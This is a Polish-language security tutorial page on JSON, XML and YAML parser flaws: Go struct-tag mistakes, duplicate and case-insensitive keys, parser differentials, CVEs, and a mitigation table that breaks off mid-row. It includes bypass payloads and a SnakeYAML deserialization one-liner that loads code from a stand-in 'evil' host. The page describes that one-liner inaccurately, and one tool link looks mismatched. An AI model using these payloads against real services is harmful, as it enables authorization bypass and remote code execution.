# JSON, XML & Yaml Hacking & Issues {{#include ../banners/hacktricks-training.md}} ## Go JSON Decoder Wykryto następujące problemy w Go JSON, chociaż mogą one występować również w innych językach. Problemy te zostały opublikowane w [**tym wpisie na blogu**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/). Parsers JSON, XML i YAML w Go mają długą historię niespójności i niebezpiecznych domyślnych ustawień, które mogą być wykorzystywane do **obejścia uwierzytelniania**, **eskalacji uprawnień** lub **ekstrakcji wrażliwych danych**. ### (Un)Marshaling Unexpected Data Celem jest wykorzystanie struktur, które pozwalają atakującemu na odczyt/zapis wrażliwych pól (np. `IsAdmin`, `Password`). - Przykład struktury: ```go type User struct { Username string `json:"username,omitempty"` Password string `json:"password,omitempty"` IsAdmin bool `json:"-"` } ``` - Powszechne podatności 1. **Brak tagu** (brak tagu = pole jest nadal analizowane domyślnie): ```go type User struct { Username string } ``` Ładunek: ```json {"Username": "admin"} ``` 2. **Nieprawidłowe użycie `-`**: ```go type User struct { IsAdmin bool `json:"-,omitempty"` // ❌ wrong } ``` Ładunek: ```json {"-": true} ``` ✔️ Prawidłowy sposób blokowania pola przed (de)serializacją: ```go type User struct { IsAdmin bool `json:"-"` } ``` ### Różnice w parserach Celem jest obejście autoryzacji poprzez wykorzystanie sposobu, w jaki różne parsery interpretują ten sam ładunek w różny sposób, jak w przypadku: - CVE-2017-12635: obejście Apache CouchDB za pomocą zduplikowanych kluczy - 2022: Zoom 0-click RCE poprzez niespójność parsera XML - GitLab 2025 obejście SAML za pomocą dziwactw XML **1. Zduplikowane pola:** Go's `encoding/json` bierze **ostatnie** pole. ```go json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req) fmt.Println(req.Action) // AdminAction ``` Inne parsery (np. Jackson w Javie) mogą brać **pierwszy**. **2. Niejednoznaczność wielkości liter:** Go jest niejednoznaczne pod względem wielkości liter: ```go json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req) // matches `Action` field ``` Nawet sztuczki z Unicode działają: ```go json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req) ``` **3. Niedopasowanie między usługami:** Wyobraź sobie: - Proxy napisane w Go - Usługa AuthZ napisana w Pythonie Napastnik wysyła: ```json { "action": "UserAction", "AcTiOn": "AdminAction" } ``` - Python widzi `UserAction`, pozwala na to - Go widzi `AdminAction`, wykonuje to ### Confuzja formatu danych (Polygloty) Celem jest wykorzystanie systemów, które mieszają formaty (JSON/XML/YAML) lub otwierają się na błędy parsera, takie jak: - **CVE-2020-16250**: HashiCorp Vault analizował JSON za pomocą parsera XML po tym, jak STS zwrócił JSON zamiast XML. Atakujący kontroluje: - Nagłówek `Accept: application/json` - Częściową kontrolę nad ciałem JSON Parser XML w Go analizował to **i tak** i ufał wstrzykniętej tożsamości. - Stworzony ładunek: ```json { "action": "Action_1", "AcTiOn": "Action_2", "ignored": "Action_3" } ``` - **Go JSON** parser: `Action_2` (niezależne od wielkości liter + ostatnie wygrywa) - **YAML** parser: `Action_1` (wrażliwy na wielkość liter) - **XML** parser: analizuje `"Action_3"` wewnątrz ciągu --- ## Znaczące luki w parserach (2023-2025) > Poniższe publicznie wykorzystywane problemy pokazują, że niebezpieczne analizowanie to problem wielojęzyczny — nie tylko problem Go. ### SnakeYAML Deserialization RCE (CVE-2022-1471) * Dotyczy: `org.yaml:snakeyaml` < **2.0** (używane przez Spring-Boot, Jenkins itp.). * Przyczyna: `new Constructor()` deserializuje **dowolne klasy Java**, umożliwiając łańcuchy gadżetów, które kończą się wykonaniem zdalnego kodu. * One-liner PoC (otworzy kalkulator na podatnym hoście): ```yaml !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] ``` * Naprawa / Łagodzenie: 1. **Zaktualizuj do ≥2.0** (domyślnie używa `SafeLoader`). 2. W starszych wersjach, wyraźnie użyj `new Yaml(new SafeConstructor())`. ### libyaml Double-Free (CVE-2024-35325) * Dotyczy: `libyaml` ≤0.2.5 (biblioteka C wykorzystywana przez wiele powiązań językowych). * Problem: Wywołanie `yaml_event_delete()` dwa razy prowadzi do podwójnego zwolnienia pamięci, które napastnicy mogą wykorzystać do DoS lub, w niektórych scenariuszach, do eksploatacji sterty. * Status: Zgłoszenie odrzucone jako „niewłaściwe użycie API”, ale dystrybucje Linuksa dostarczyły poprawioną wersję **0.2.6**, która defensywnie zeruje wskaźnik. ### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684) * Dotyczy: Tencent **RapidJSON** przed zatwierdzeniem `8269bc2` (<1.1.0-patch-22). * Błąd: W `GenericReader::ParseNumber()` niekontrolowana arytmetyka pozwala napastnikom tworzyć ogromne literały numeryczne, które owijają się i uszkadzają stertę — ostatecznie umożliwiając eskalację uprawnień, gdy powstała graf obiektów jest używana do podejmowania decyzji autoryzacyjnych. --- ### 🔐 Łagodzenia (Zaktualizowane) | Ryzyko | Naprawa / Rekomendacja | |-------------------------------------|------------------------------------------------------------| | Nieznane pola (JSON) | `decoder.DisallowUnknownFields()` | | Duplikujące się pola (JSON) | ❌ Brak naprawy w stdlib — waliduj za pomocą [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) | | Dopasowanie bez uwzględnienia wielkości liter (Go) | ❌ Brak naprawy — waliduj tagi struktury + wstępnie kanonizuj dane wejściowe | | Śmieciowe dane XML / XXE | Użyj wzmocnionego parsera (`encoding/xml` + `DisallowDTD`) | | Nieznane klucze YAML | `yaml.KnownFields(true)` | | **Niebezpieczna deserializacja YAML** | Użyj SafeConstructor / zaktualizuj do SnakeYAML ≥2.0 | | libyaml ≤0.2.5 podwójne zwolnienie pamięci | Zaktualizuj do **0.2.6** lub wersji poprawionej przez dystrybucję | | RapidJSON